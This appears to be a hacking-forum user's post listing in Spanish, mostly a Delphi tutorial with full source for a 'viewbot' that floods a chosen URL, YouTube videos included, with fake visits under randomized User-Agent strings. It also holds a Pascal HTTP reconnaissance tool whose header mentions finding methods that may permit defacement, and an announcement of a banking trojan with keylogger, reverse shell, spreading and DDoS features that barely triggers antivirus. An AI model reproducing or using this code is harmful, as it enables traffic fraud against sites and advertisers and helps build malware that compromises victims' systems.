¿Recuerdan lo de los Results que les había explicado?, pues es tiempo de darles uso, y aquí lo que hacemos es sumar el valor en cada repetición, en este caso “PbuffHash” el cual es nuestro hash generandose. Ahora le decimos a que sea igual al resultado ya generado, osease Result:= Result; 10)Limpiando variables en memoria: ZeroMemory(Addr(iHash), SizeOf(iHash));
Esta función es el equivalente a FillChar y es muy útil para limpiar una variable en memoria(también para incializarla en $00000000), en realidad si hubiera inicializado otro tipo de array (ya sea de punteros especialmente), haría algo como ZeroMemory(HandlerArrayOPuntero, SizeOf(HandlerArrayOPuntero))
pero lo del Addr, es para limpiar fuera de la memoria nuestra variable, ademas es Addr quien contiene la dirección. Y para terminar la explicación, nuestra función recibe un parámetro “LenDict” de tipo integro, esta será la longitud total que queremos que tenga nuestro diccionario, habíamos dicho que 66 en decimal, pero la verdad que es un valor MUY largo para nuestro bot, entonces lo restaremos en nuestra función prorroga. Probemos la funcion (en begin comente lo anterior hecho para la pruebita): begin (* if RequestInternet( string(ParamStr(1)), 40) then begin writeLn(#13#10+'Sesion exitosa'); end else begin writeLn(#13#10+'Ha surgido un problema en la conexion...'); end; *) WriteLn('Hash formado: ', RandomHashes(45)); Sleep($500); end.
Pueden observar que le pasamos el número 45 osea 66-45=21, pero la longitud total es 22 por que inicializamos el array en 0. Y ahora es tiempo de tocar RequestInternet, es tan facil como agregar nuestra nueva función: function RequestInternet(url:string; Hashes: integer): BOOL; var hInet, hUrl : hInternet; NHash : Pchar; // Creamos otra variable begin NHash:= Pchar(RandomHashes(Hashes)); // Llamamos nuestra función generadora de hashes hInet:= InternetOpen(NHash, INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, ZERO); if assigned(hInet) then begin hUrl:= InternetOpenUrl(hInet, pChar(HTTP+url), nil, INTERNET_FLAG_NO_COOKIES, INTERNET_FLAG_RELOAD,INTERNET_SERVICE_HTTP); if assigned(hUrl) then begin Result:= true; WriteLn('Hash generado: '+NHash); end // mostramos el hash generado. else begin Result:= false; end; end; InternetCloseHandle(hInet); InternetCloseHandle(hUrl); FreeMemory(NHash); // liberamos nuestra variable de tipo puntero. End;
NHash:= Pchar(RandomHashes(Hashes));
Entonces Nhash contendrá nuestro hash generado en la longitud de 22 y lo pondremos en InternetOpen para que cambie nuestro USER-AGENT, terminemos el código(por ahora). Entonces si todo va bien te debería quedar de la siguiente manera: program rweb; uses WinInet, Windows, SysUtils; {$APPTYPE CONSOLE} {$HPPEMIT '#include <wininet.h>'} const INTERNET_OPEN_TYPE_PRECONFIG = $00000000; (* Usa la configuracion del registro(por defecto) *) {$EXTERNALSYM INTERNET_OPEN_TYPE_PRECONFIG} INTERNET_OPEN_TYPE_DIRECT = $00000001; (* Acceso directo a la red *) {$EXTERNALSYM INTERNET_OPEN_TYPE_DIRECT} INTERNET_OPEN_TYPE_PROXY = $00000003; (* Acceso via proxy *) {$EXTERNALSYM INTERNET_OPEN_TYPE_PROXY} INTERNET_FLAGS_MASK = INTERNET_FLAG_RELOAD or INTERNET_FLAG_NO_COOKIES; {$EXTERNALSYM INTERNET_FLAGS_MASK} ZERO = $00000000; BUFFSIZE = $00000041; // 66d HTTP = 'http://'; function RandomHashes(LenDict:integer):string; const BuffHash : Array[0..BUFFSIZE] of Char= ( 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '=', '?', '-' ); var iHash : Integer; PBuffHash : Char; begin iHash:= Length(BuffHash)-LenDict; repeat Randomize; PBuffHash:= BuffHash[Random(Length(BuffHash))]; asm @@StartUp: DEC(iHash); end; Result:= Result+PBuffHash; until (iHash<ZERO); Result:= Result; ZeroMemory(Addr(iHash), SizeOf(iHash)); ZeroMemory(Addr(PBuffHash), SizeOf(PBuffHash)); end; function RequestInternet(url:string; Hashes: integer): BOOL; var hInet, hUrl : hInternet; NHash : PChar; begin NHash:= PChar(RandomHashes(Hashes)); hInet:= InternetOpen(NHash, INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, ZERO); if assigned(hInet) then begin hUrl:= InternetOpenUrl(hInet, pChar(HTTP+url), nil, INTERNET_FLAG_NO_COOKIES, INTERNET_FLAG_RELOAD,INTERNET_SERVICE_HTTP); if assigned(hUrl) then begin Result:= true; WriteLn('Hash generado: '+NHash); end else begin Result:= false; end; end; InternetCloseHandle(hInet); InternetCloseHandle(hUrl); FreeMemory(NHash); end; begin if RequestInternet( string(ParamStr(1)), 40) then begin writeLn(#13#10+'Sesion exitosa'); end else begin writeLn(#13#10+'Ha surgido un problema en la conexion...'); end; Sleep($500); end.
Y listo!, hora de probar nuestro robot: 11) Probando nuestro viewbot por 2º vez: Parámetro : rweb localhost/contador.php ¿Que tal he? Va tomando color. Vamos a automatizarlo para que mientras visite nuestro sitio deseado, nosotros no tengamos que hacer nadas mas que esperar viéndonos un capitulo de los simpson mientras comemos helado. Agregamos los siguiente: /en const: F5KEY = $00000074; // 116decimal = F5 var Init : BOOL = True; begin while Init do begin WriteLn('Apreta (F5) para salir de Rbot. '); if RequestInternet( string(ParamStr(1)), 40) then begin writeLn(#13#10+'Sesion exitosa!'); end else begin writeLn(#13#10+'Ha surgido un problema en la conexion...'); end; if GetasyncKeyState(F5KEY)<>ZERO then begin Init:= false; WriteLn(#13#10+'Opcion salida por el usuario.'); end; end; Sleep($500); end.
Aun mas fácil!, en constante definimos “F5KEY” el cual es un valor hexa de 74 osea traducido en decimal 116 que es la tecla F5 var Init : BOOL = True, lo dejaremos para mas adelante, ya que esto inicializar el loop en true. while Init do begin: el bucle while permanecerá repitiéndose mientras sea True de otro modo se rompe y salimos de la aplicación .
if GetasyncKeyState(F5KEY)<>ZERO then begin Init:= false; ...
GetasyncKeyState es un función de windows, el cual nos permitirá registrar lo que escribamos, es muy intuitiva y fácil(también usada para keyloggers, aunque nada como hooks). Como parámetro recibe la tecla presionada, osease F5 que es la que usaremos para salir, y <> ZERO nos dice que mientras sea distinto a zero no igualara Init a False lo que pondrá fin a nuestro bucle. El parámetro según la msdn: SHORT WINAPI GetAsyncKeyState( int vKey );
para mas información consultalo aquí: http://msdn.microsoft.com/en-us/library/windows/desktop/ms646293(v=vs.85).aspx 12) Usando el API Winsock para obtener IPs: Bueno este paso es opcional, pero lo recomiendo mucho, ya que ayudara a entender(un poco) la librería WinSock, tal ves mas adelante(en otro tuto), hablaremos de ello y enseñare a como usarla, incluso si se quiere programar un troyano, yo por mi parte la aprendía a usar con este objetivo, y hace poco había echo un troyano con tal funciones, aun que le queda mucho por optimizar, pero ya, dejemos lo ahí... Crearemos otra función llamada GetIp, la cual nos dirá la IP del servidor pasado como paramentro, Entonces el código es el siguiente (vamos que queda poquísimo y es fácil): const: INADDRSIZE = $0000000A; var: IRobot : Integer = 0; WSData : WsaData; function GetIP(): PChar; type aIn_addr = array [0..INADDRSIZE] of pInAddr; pIn_addr = ^aIn_addr; var Hostent : PHostEnt; HostAddr : pIn_addr; begin WSAStartup($1, WSData); Hostent:= GetHostBYName( PChar(ParamStr(1)) ); HostAddr:= pIn_addr(Hostent^.h_addr_list); Result:= inet_ntoa(HostAddr^[ZERO]^); FreeMemory(HostAddr); WSACleanUp; end;
const: INADDRSIZE = $0000000A;
Acuérdense, esto va en constantes(fuera de la función), y el valor es el que tendrá nuestro Array “A” en hexa es el equivalente a 10 en decimal. aIn_addr = array [0..INADDRSIZE] of pInAddr;
Esto va en constantes(dentro de la función), pInAddr es un puntero de ^TinAddr que ha su vez termina en “in_addr” pIn_addr = ^aIn_addr;
Puntero a “aIn_addr” nuestro array. Hostent : PhostEnt;
Es el “result”(recuerde que explique esto anteriormente) de la función “gethostbyname” por medio de stdcall. HostAddr : pIn_addr;
Puntero a “pIn_addr” que a su vez es un puntero de “aIn_addr” que contiene otro array de punteros (puede sonar confuso..) WSData : WsaData; y WSAStartup($1, WSData);
Para ello nos vamos a la bendita msdn, los parámetros son los siguientes: int WSAStartup( WORD wVersionRequested, // Versión de sockets que se usaran LPWSADATA lpWSAData // Puntero a WsaData el que definimos en las variables );
Mas información puede encontrarse aquí: http://msdn.microsoft.com/en-us/library/windows/desktop/ms742213(v=vs.85).aspx Hostent:= GetHostByName( PChar(ParamStr(1)) );
Ya había mencionado que PhostEnt era el resultado de esta función, así que obviamente al definirla la usaremos, (paramstr 1 es el sitio web que visitemos ej:www.youtube.com) HostAddr:= pIn_addr(Hostent^.h_addr_list);
Y no podía faltar el puntero de puntero de punteros... Ejemplo: function GetHostByName(name: PChar): PHostEnt; stdcall;
Para entender esta función debemos recurrir de nuevo a la msdn, luego daré un ejemplo Entonces los parámetros son los siguientes: struct hostent* FAR gethostbyname( const char *name // Puntero al nombre del host a traducir a IP );
h_addr_list;
lista de direcciones IP para el servidor pasado como parametro. Mas info en: http://msdn.microsoft.com/en-us/library/windows/desktop/ms738524(v=vs.85).aspx Si quieren saber mas sobre gethostbyname y gethostbyaddr: http://beej.us/guide/bgnet/output/html/multipage/gethostbynameman.html Por ahora no es necesario que lo comprendan un 100%, pero seria bueno, ahora lo que sigue es: Result:= inet_ntoa(HostAddr^[ZERO]^);
Otra vez por la msdn: http://msdn.microsoft.com/en-us/library/windows/desktop/ms738564(v=vs.85).aspx De todos modos lo explicare, esta función convierte una dirección de red de tipo Ipv4 en un ASCII Ejemplo: char* FAR inet_ntoa( struct in_addr in // Representa un dirección de internet );
Y como no un record. Aquí lo pondré mas claro, nada como un ejemplo(de Winsock.pas): PInAddr = ^TInAddr; {$EXTERNALSYM in_addr} in_addr = record case integer of 0: (S_un_b: SunB); 1: (S_un_w: SunW); 2: (S_addr: u_long); end; TInAddr = in_addr; // Puntero a in_addr. FreeMemory(HostAddr); // Libera el array de punteros WSACleanUp; // Limpia el socket.
13)Finalizando: Y para finalizar nuestra primer entrega(y espero que no sea la ultima), eso sí, si a la gente le gusta. Haremos un pequeño timer para que el tiempo en visitar una pagina no sea demasiado grande, recordemos que el bucle while se genera muy rapido, y con tan solo decirles que ejecutado así nada mas en menos de 30 segundos hice casi 100 visitas a mi pagina y esto puede ser realmente muy molesto (y obvio), por esto ademas veremos cuantas visitas hacemos en un rango de X segundos: Agregaremos lo siguiente al begin principal: agrega en constantes HASHKEY = $00000028; // 40 decimal begin WriteLn('Apreta (F5) para salir de Rbot. '); while Init do begin if RequestInternet( string(ParamStr(1)), HASHKEY, StrToInt(ParamStr(2))) then begin asm @@StartUp: Inc(IRobot) end; writeLn( '[Servidor visitado]: ', ParamStr(1), #13#10+'[Ip]: ', PChar(GetIP()), #13#10+'[Numero de veces]: ', IRobot, #13#10+'Sesion exitosa!'+#13#10 +'============================' ); end else begin writeLn(#13#10+'Ha surgido un problema en la conexion...'); end; if GetasyncKeyState(F5KEY)<>ZERO then begin Init:= false; WriteLn(#13#10+'Opcion salida por el usuario.'); end; end; ZeroMemory(Addr(IRobot), sizeof(IRobot)); end.
Bien, HASHKEY es 40 en decimal, que sera la longitud del hash que restaremos(con 66 el total de nuestro diccionario en la función RandomHashes), y Como 3º parámetro recibirá los segundos que tardara en hacer la repetición, por ultimo retocaremos la función RequestInternet. function RequestInternet(url:string; Hashes, Secs: integer): BOOL; // Secs: segundos pasados var hInet, hUrl : hInternet; NHash : PChar; begin NHash:= PChar(RandomHashes(Hashes)); hInet:= InternetOpen(NHash, INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, ZERO); if assigned(hInet) then begin hUrl:= InternetOpenUrl(hInet, pChar(HTTP+url), nil, INTERNET_FLAG_NO_COOKIES, INTERNET_FLAG_RELOAD,INTERNET_SERVICE_HTTP); if assigned(hUrl) then begin Result:= true; WriteLn('Hash generado: '+NHash); end else begin Result:= false; end; end; Sleep(Secs*1000); // Delay del tiempo en hacer la repetición InternetCloseHandle(hInet); InternetCloseHandle(hUrl); FreeMemory(NHash); end;
TERMINAMOS!!! Entonces el código final te debería quedar así.. program rweb; uses WinInet, WinSock, Windows, SysUtils; {$APPTYPE CONSOLE} {$HPPEMIT '#include <wininet.h>'} const INTERNET_OPEN_TYPE_PRECONFIG = $00000000; (* Usa la configuracion del registro(por defecto) *) {$EXTERNALSYM INTERNET_OPEN_TYPE_PRECONFIG} INTERNET_OPEN_TYPE_DIRECT = $00000001; (* Acceso directo a la red *) {$EXTERNALSYM INTERNET_OPEN_TYPE_DIRECT} INTERNET_OPEN_TYPE_PROXY = $00000003; (* Acceso via proxy *) {$EXTERNALSYM INTERNET_OPEN_TYPE_PROXY} INTERNET_FLAGS_MASK = INTERNET_FLAG_RELOAD or INTERNET_FLAG_NO_COOKIES; {$EXTERNALSYM INTERNET_FLAGS_MASK} ZERO = $00000000; BUFFSIZE = $00000041; // 65d F5KEY = $00000074; // 116d (F5) HASHKEY = $00000028; // 40d INADDRSIZE = $0000000A; // 10d HTTP = 'http://'; var Init : BOOL = True; IRobot : Integer = 0; WSData : WsaData; function RandomHashes(LenDict:integer):string; const BuffHash : Array[0..BUFFSIZE] of Char= ( 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '=', '?', '-' ); var iHash : Integer; PBuffHash : Char; begin iHash:= Length(BuffHash)-LenDict; repeat Randomize; PBuffHash:= BuffHash[Random(Length(BuffHash))]; asm @@StartUp: DEC(iHash); end; Result:= Result+PBuffHash; until (iHash<ZERO); Result:= Result; ZeroMemory(Addr(iHash), SizeOf(iHash)); ZeroMemory(Addr(PBuffHash), SizeOf(PBuffHash)); end; function RequestInternet(url:string; Hashes, Secs: integer): BOOL; var hInet, hUrl : hInternet; NHash : PChar; begin NHash:= PChar(RandomHashes(Hashes)); hInet:= InternetOpen(NHash, INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, ZERO); if assigned(hInet) then begin hUrl:= InternetOpenUrl(hInet, pChar(HTTP+url), nil, INTERNET_FLAG_NO_COOKIES, INTERNET_FLAG_RELOAD,INTERNET_SERVICE_HTTP); if assigned(hUrl) then begin Result:= true; WriteLn('Hash generado: '+NHash); end else begin Result:= false; end; end; Sleep(Secs*1000); InternetCloseHandle(hInet); InternetCloseHandle(hUrl); FreeMemory(NHash); end; function GetIP(): PChar; type aIn_addr = array [0..INADDRSIZE] of pInAddr; pIn_addr = ^aIn_addr; var Hostent : PHostEnt; HostAddr : pIn_addr; begin WSAStartup($1, WSData); Hostent:= GetHostBYName( PChar(ParamStr(1)) ); HostAddr:= pIn_addr(Hostent^.h_addr_list); Result:= inet_ntoa(HostAddr^[ZERO]^); FreeMemory(HostAddr); WSACleanUp; end; begin {$O+} // Directiva para optimización WriteLn('Apreta (F5) para salir de Rweb. '); while Init do begin if RequestInternet( string(ParamStr(1)), HASHKEY, StrToInt(ParamStr(2))) then begin asm @@StartUp: Inc(IRobot) end; writeLn( '[Servidor visitado]: ', ParamStr(1), #13#10+'[Ip]: ', PChar(GetIP()), #13#10+'[Numero de veces]: ', IRobot, #13#10+'Sesion exitosa!'+#13#10 +'============================' ); end else begin writeLn(#13#10+'Ha surgido un problema en la conexion...'); end; if GetasyncKeyState(F5KEY)<>ZERO then begin Init:= false; WriteLn(#13#10+'Opcion salida por el usuario.'); end; end; ZeroMemory(Addr(IRobot), sizeof(IRobot)); {$0-} end.
14)Probando nuestro viewbot por 3º vez!: Hora de probarlo!!!. Y como ven los argumentos usados son: <sitio_web> <intervalo en tiempo> Nota: Para aumentar un vídeo en especifico debes usar la url del sitio mas el enlancé, Ej: http://www.youtube.com/mi_video_a_aumentarClaro, youtube cuenta una vez por IP, como algunos sitios pero a no preocuparse que en la próxima entrega veremos como soluciónar ese problema, y lo mismo de siempre, si comentan y les gusta, si no, no hay problema... 15)Usando StripReloc para hacer el ejecutable mas pequeño y su relación con .reloc: StripReloc se encarga de eliminar una parte de la sección que windows agrega por defecto a los PE(Portable ejecutable) “.reloc”, (no toda), sino aquella que los compiladores como delphi 7 agregan y son inútiles, de esta manera reduce el ejecutable moderadamente. puedes encontrar mas documentación acerca de estas cabeceras acá: http://es.wikipedia.org/wiki/Portable_Executable tambien pueden encontrar StripReloc en el siguiente link: http://www.jrsoftware.org/striprlc.php Para usarlo debemos descargarnos el .zip de la pagina que les pase. Una vez descomprimido, obtendremos un .exe llamado “StripReloc”. Naveguemos hasta la ruta del exe, y los parámetros son: “StripReloc <EXE_A_REDUCIR>” La reducción ha sido considerable, veamoslo: 16)Mirando en LordPe la sección .reloc: ¿Y si miramos en el LordPe?: Repito!, esto no quita la sección, solo remueve lo innecesario que generan los compiladores 17)Viendo el Stack y el Heap con WinDbg(este paso solo es demostrativo): Por ultimo usare windbg para ver el stack y los heaps asignados, es una aplicación pequeña pero es algo que siempre tengo en cuenta, tómenlo como un detalle de mi parte: 18)Despedida: Y bueno gente, se despide WarZ0n3, espero que les haya servido y aprendido algo acerca del mundo de las APIS, y lo poderosas que son, junto con la imaginación se puede hacer cualquier cosa, también vimos como reducir un ejecutable, y optimizar código liberando variables en memoria y pequeño uso de asm. Ahora usando tu criterio y si has estudiado e investigado al respecto ya podrás hacer tu propio viewbot, y mandármelo por PM o publicarlo en el foro dándome las gracias. Saludos!.
|
|
|
5
|
Programación / Programación General / [Pascal] Gathor 0.1 (Recolector de informacion)
|
en: 1 Agosto 2013, 08:51 am
|
Saludos gente Después de ausentarme un gran tiempo por trabajo y viajes, hoy que tuve un tiempo libre y como estaba aburrido, se me ocurrió hace una pequeña herramienta de gathering, debo decir que faltan agregarles muchas características y otras deben ser quitadas del código, estoy consiente que queda mucho por optimizar y bueno... al fin y al acabo nunca es suficiente. También pensé que, en cuando tenga tiempo libre, programar un sniffer ¿Les gustaría?. Y sin mas rodeos el código (Compilado en Delphi 7), también adjuntare unas imágenes con ciertos detalles de su interés: program Gathor; (*********************************************) (* Software : Gathor 0.1 *) (* Autor : WarZone *) (* Fecha : 1/8/13 *) (*********************************************) (* Explicacion: *) (* Un simple gathering de informacion web *) (* el cual tiene algunas caracteristicas *) (* como leer el source de la pagina(index), *) (* ver el servidor en que se esta corriendo, *) (* fecha, version del protocolo, contenido, *) (* opciones de metodos usados <posiblemente *) (* permitiendo un Defacement>, etc.. *) (*********************************************) (* Parametros + Ejemplo : *) (* <sitio_web> <puerto> <opcion> *) (* www.google.com 80 get_proto_0 *) (*********************************************) (* -Opciones de uso / Caracteristicas- *) (* *) (* Los siguientes comandos permiten hacer *) (* peticiones HTTP por distintas opciones, *) (* GET, POST, HEAD, ETC... y version del *) (* protocolo respectivamente 1.0 o 1.1 *) (* *) (* get_proto_0 -> metodo GET por HTTP/1.0 *) (* get_proto_1 -> GET por HTTP/1.1 *) (* post_proto_0 -> POST por HTTP/1.0 *) (* post_proto_1 -> POST por HTTP/1.1 *) (* options_proto_0 -> OPTIONS por HTTP/1.0 *) (* options_proto_1 -> OPTIONS por HTTP/1.1 *) (* head_proto_0 -> HEAD por HTTP/1.0 *) (* head_proto_1 -> HEAD por HTTP/1.1 *) (*********************************************) {$APPTYPE CONSOLE} uses SysUtils, Windows, WinSock; const { Config } BL = #13#10; { HTTP Methods } POST = 'POST'; GET = 'GET'; OPTIONS = 'OPTIONS'; HEAD = 'HEAD'; { Version } HTTP0 = ' HTTP/1.0'; HTTP1 = ' HTTP/1.1'; STP = ' /'; { Octetos } ZERO = $00000000; BSIZE = $00001024; BUFFSIZE = $000000FF; BUFFDATA = $00001000; INADDRSIZE = $0000000A; var WSData : WsaData; TcpSocket : tSocket; sAddr : sockaddr_in; pIp : string; I : Integer; BuffName : array [0..BUFFSIZE] of AnsiChar; sData : array [0..BUFFDATA] of Char; (* Reporte de desensamblado en GetIp 00408450 /$ 55 PUSH EBP <-----| Callback IP | 00408451 |. 8BEC MOV EBP,ESP 00408453 |. 6A 00 PUSH 0 00408455 |. 53 PUSH EBX 00408456 |. 33C0 XOR EAX,EAX 00408458 |. 55 PUSH EBP 00408459 |. 68 BA844000 PUSH Project2.004084BA 0040845E |. 64:FF30 PUSH DWORD PTR FS:[EAX] 00408461 |. 64:8920 MOV DWORD PTR FS:[EAX],ESP 00408464 |. 68 9C374100 PUSH Project2.0041379C ; /pWSAData = Project2.0041379C 00408469 |. 6A 01 PUSH 1 ; |RequestedVersion = 1 (1.0.) 0040846B |. E8 98FFFFFF CALL <JMP.&wsock32.WSAStartup> ; \WSAStartup 00408470 |. 90 NOP 00408471 |. 90 NOP 00408472 |. 90 NOP 00408473 |. 8D55 FC LEA EDX,DWORD PTR SS:[EBP-4] 00408476 |. B8 01000000 MOV EAX,1 0040847B |. E8 88A3FFFF CALL Project2.00402808 00408480 |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 00408483 |. E8 A4BBFFFF CALL Project2.0040402C 00408488 |. 50 PUSH EAX ; /Name 00408489 |. E8 72FFFFFF CALL <JMP.&wsock32.gethostbyname> ; \gethostbyname 0040848E |. 8B40 0C MOV EAX,DWORD PTR DS:[EAX+C] 00408491 |. 33D2 XOR EDX,EDX 00408493 |. 8B0490 MOV EAX,DWORD PTR DS:[EAX+EDX*4] 00408496 |. FF30 PUSH DWORD PTR DS:[EAX] 00408498 |. E8 3BFFFFFF CALL <JMP.&wsock32.inet_ntoa> 0040849D |. 8BD8 MOV EBX,EAX 0040849F |. E8 6CFFFFFF CALL <JMP.&wsock32.WSACleanup> ; [WSACleanup 004084A4 |. 33C0 XOR EAX,EAX 004084A6 |. 5A POP EDX 004084A7 |. 59 POP ECX 004084A8 |. 59 POP ECX 004084A9 |. 64:8910 MOV DWORD PTR FS:[EAX],EDX 004084AC |. 68 C1844000 PUSH Project2.004084C1 004084B1 |> 8D45 FC LEA EAX,DWORD PTR SS:[EBP-4] 004084B4 |. E8 83B7FFFF CALL Project2.00403C3C 004084B9 \. C3 RETN *) function GetIP(): PChar; type aIn_addr = array [0..INADDRSIZE] of pInAddr; pIn_addr = ^aIn_addr; var Hostent : PHostEnt; HostAddr : pIn_addr; HostPData : PChar; Int : Integer; begin WSAStartup($1, WSData); asm NOP NOP NOP end; Hostent:= GetHostBYName( PChar(ParamStr(1)) ); HostAddr:= pIn_addr(Hostent^.h_addr_list); Int:= 0; Result:= inet_ntoa(HostAddr^[Int]^); WSACleanUp; end; function CALLBACK__getIp: string; asm @@StartUp: XOR EAX,EAX XOR ECX,ECX XOR EDX,EDX MOV DWORD PTR FS:[EAX],ESP LEA EDX,DWORD PTR SS:[EBP-4] MOV EAX,1 MOV EAX,DWORD PTR SS:[EBP-4] MOV EAX,DWORD PTR DS:[EAX+$C] XOR EDX,EDX MOV EDX,EBX XOR EAX,EAX MOV DWORD PTR FS:[EAX],EDX LEA EAX,DWORD PTR SS:[EBP-4] NOP NOP PUSH Pointer($00408450) //Pointer($00408450) POP EDX CALL EDX (* CALLBACK DE LA FUNCION *) end; begin if (ParamCount<=1) then WriteLn('Parametros usados: <sitio_web> <puerto> <opcion>'+BL); WSAStartUp($1, WSData); TcpSocket:= Socket (AF_INET, SOCK_STREAM, ZERO); sAddr.sin_family:= af_inet; sAddr.sin_addr.s_addr:= inet_addr(GetIP()); //INET_ADDR('173.194.42.209'); sAddr.sin_port:= htons(StrToInt(ParamStr(2))); //htons(Integer(ParamStr(2))); (* Opcion por default *) if (ParamStr(3)<' ') then sData:= 'OPTIONS /index.html HTTP/1.0'+BL+BL; (* Gathering automatico *) if (ParamStr(3)>' ') then begin if (ParamStr(3)='get_proto_0') then sData:= GET+STP+HTTP0+BL+BL; if (ParamStr(3)='get_proto_1') then sData:= GET+STP+HTTP1+BL+BL; if (ParamStr(3)='post_proto_0') then sData:= POST+STP+HTTP0+BL+BL; if (ParamStr(3)='post_proto_1') then sData:= POST+STP+HTTP1+BL+BL; if (ParamStr(3)='options_proto_0') then sData:= OPTIONS+STP+HTTP0+BL+BL; if (ParamStr(3)='options_proto_1') then sData:= OPTIONS+STP+HTTP1+BL+BL; if (ParamStr(3)='head_proto_0') then sData:= HEAD+STP+HTTP0+BL+BL; if (ParamStr(3)='head_proto_1') then sData:= HEAD+STP+HTTP1+BL+BL; end; Try if (CALLBACK__getIp<='') then begin WriteLn('Conectando al servidor: ', GetIP); end else begin WriteLn('Conectando al servidor: ', CALLBACK__getIp); end; Winsock.Connect(TcpSocket, sAddr, sizeof(sAddr)); WriteLn('Parametro: ', sData); Winsock.Send(TcpSocket, sData, StrLen(sData), MSG_DONTROUTE); Winsock.Recv(TcpSocket, BuffName, BSIZE, SD_RECEIVE); WriteLn(BuffName); Finally Shutdown(TcpSocket, SD_BOTH); CloseSocket(TcpSocket); WSACleanUp(); end; end.
Gathor con metódo OPTIONS: Gathor con metódo POST: Gathor con metódo GET: Gathor con metódo HEAD: PD: Lo del stack y el heap lo agrego por que aun que a muchos no les interese que sea una aplicación grande o pequeña, es un detalle que siempre tengo presente.Y como ven el tamaño del stack no fue tan drástico (como en otras comparaciones que hice) y me olvide de tomar fotos Claro que es un aplicación pequeña... Y el heap por lo menos no se disperso tanto como pensaba...
|
|
|
6
|
Programación / Programación General / [Pascal+ASM] función ExtractMemString
|
en: 11 Mayo 2013, 23:47 pm
|
Hace mucho que no hago nada en ASM y ya que hoy en la mañana tuve 2 horas libres y estaba aburrido, retome un pequeño manual de ASM que tenia y en 30 minutos me hice esto, demasiado simple pero muy útil en programación con sockets, espero les sirva. Lo que hace esta función es extraer un string de otro string defectuoso, puede usarse por ejemplo, para guardar muchas listas defectuosas(en un TStringList claro esta) e ir limpiandolas. Como explicaba esto es uno de los tantos usos que se le pueda dar, hace no mucho hice una función parecida... aquí la pueden encontrar: http://foro.elhacker.net/programacion_general/funcion_extractstring_pascal-t388927.0.html , solo que esta trabaja más a bajo nivel y con muchas mas rapidez y rendimiento. Les dejo el código program ExtractMemString; {$APPTYPE CONSOLE} uses SysUtils, Classes; {/*******************************************\} { ExtractMemString @Por WARZ0N3 } { Explicacion: } { Extrae una palabra de un string defectuoso, } { muy util en programacion con Sockets. } { Pascal+ASM ejecuta el codigo mas optimo y } { mucho mas rapido... } {/*******************************************\} { Uso: } { __ExtractMemString( } { 'Desde_char_a_remover', variable_defectuosa,} { 'Hasta_char_a_remover', Lista_strings); } {\*******************************************/} { Ejemplo: } { __ExtractMemString('!', '&%!PALABRA-$@', '-', TStringList);} { devuelve: PALABRA } {/*******************************************\} function __ExtractMemString(from_s:Char; Param:pChar; to_s:Char; TsStrMem:TStringList):pChar; var tos, fms:integer; lnStr:integer; StrMem:pchar; CpyStrMem:pchar; allocStrMem:pchar; lenStr:integer; Delim:integer; sPos:integer; begin StrNew(@StrMem); StrMem:=Param; { palabra defectuosa } lenStr:=StrLen(pChar(StrMem)); Delim:= LastDelimiter(from_s, StrMem); { desde } sPos:=Pos(to_s, StrMem); { hasta } asm @@startup: XOR EAX, EAX MOV EAX, sPos PUSH EAX POP tos DEC tos CMP EAX, 00000000h JZ @plSum JMP @pSum @plSum: ADD tos, EAX @pSum: XOR EBX, EBX MOV EBX, lenStr MOV lnStr, EBX XOR ECX, ECX MOV ECX, delim MOV fms, ECX SUB tos, ECX end; allocStrMem:=StrAlloc(lnStr); StrLCopy(allocStrMem, fms+StrMem, tos); //-$00000003 TsStrMem.Add(allocStrMem); StrDispose(allocStrMem); end; var TsStrMem:TStringList; begin TsStrMem:= TStringList.Create; {*** Llamada a la funcion ***} __ExtractMemString('!', '**-!PALABRA?**', '?', TsStrMem); { devuelve PALABRA } WriteLn(TsStrMem[0]); TsStrMem.Free; sleep(3500); end.
|
|
|
7
|
Programación / Programación General / [Aporte]Troyano bancario en pascal(delphi 7)
|
en: 2 Mayo 2013, 04:24 am
|
Saludos! Hoy vengo a presentarles un proyecto que empece hace muy poco... Un troyano bancario que estoy programando en pascal(delphi 7). Esta de más decir que el proyecto avanza de apoco, por esto si tienen una idea sobre el diseño o funcion les pido que la comenten. Agrego que hasta ahora lo pase por novirusthank.org y solo lo detecta 1 antivirus. El nombre tal vez sea "Stalker" aun que aun no esta definido si tienen otro nombre o idea díganlo.la idea de este proyecto es también hacer algo de parte de ustedes, no importa si no saben pascal y lo hacen en python, perl, ruby etc. una sección de scripts en donde abra modulos de ataque e infraestructura, gathering, etc... Ahora lo mas importante, Funciones del troyano: - Multi-conexión (soporta unos 2500 clientes y +)
- Informacion del sistema victima (IP / O.S / usuario / Antivirus) ; y se le agregara mas
- Lista directorios / drives / archivos del sistema
- Permite navegar entre el sistema
- Crea / Borra archivos y carpetas
- Oculta / Desoculta archivos y carpetas
- Descarga / sube archivos
- Informacion archivos / carpetas
- Control del sistema victima
- Hacked @by "" ; Bloquea todo el sistema y pone un mensaje con imagen.
- Funcion de spreading y exclusión
- Keylogger
- Canal de IRC (en construcción) ; permite descargar malware a todos los servers , flooding , ataques Ddos, spam, etc.
- Shell inversa
- Fotocaptura (Toma fotos y las guarda en una carpeta creada por el troyano "_Saves") ; tambien permite elegir la calidad
- Grabar la pantalla ; tambien permite elegir la calidad
- Lista / Mata procesos
- Sistema de DATABASE (paradox7) para guardar Dumps y registro de los servidores infectados.
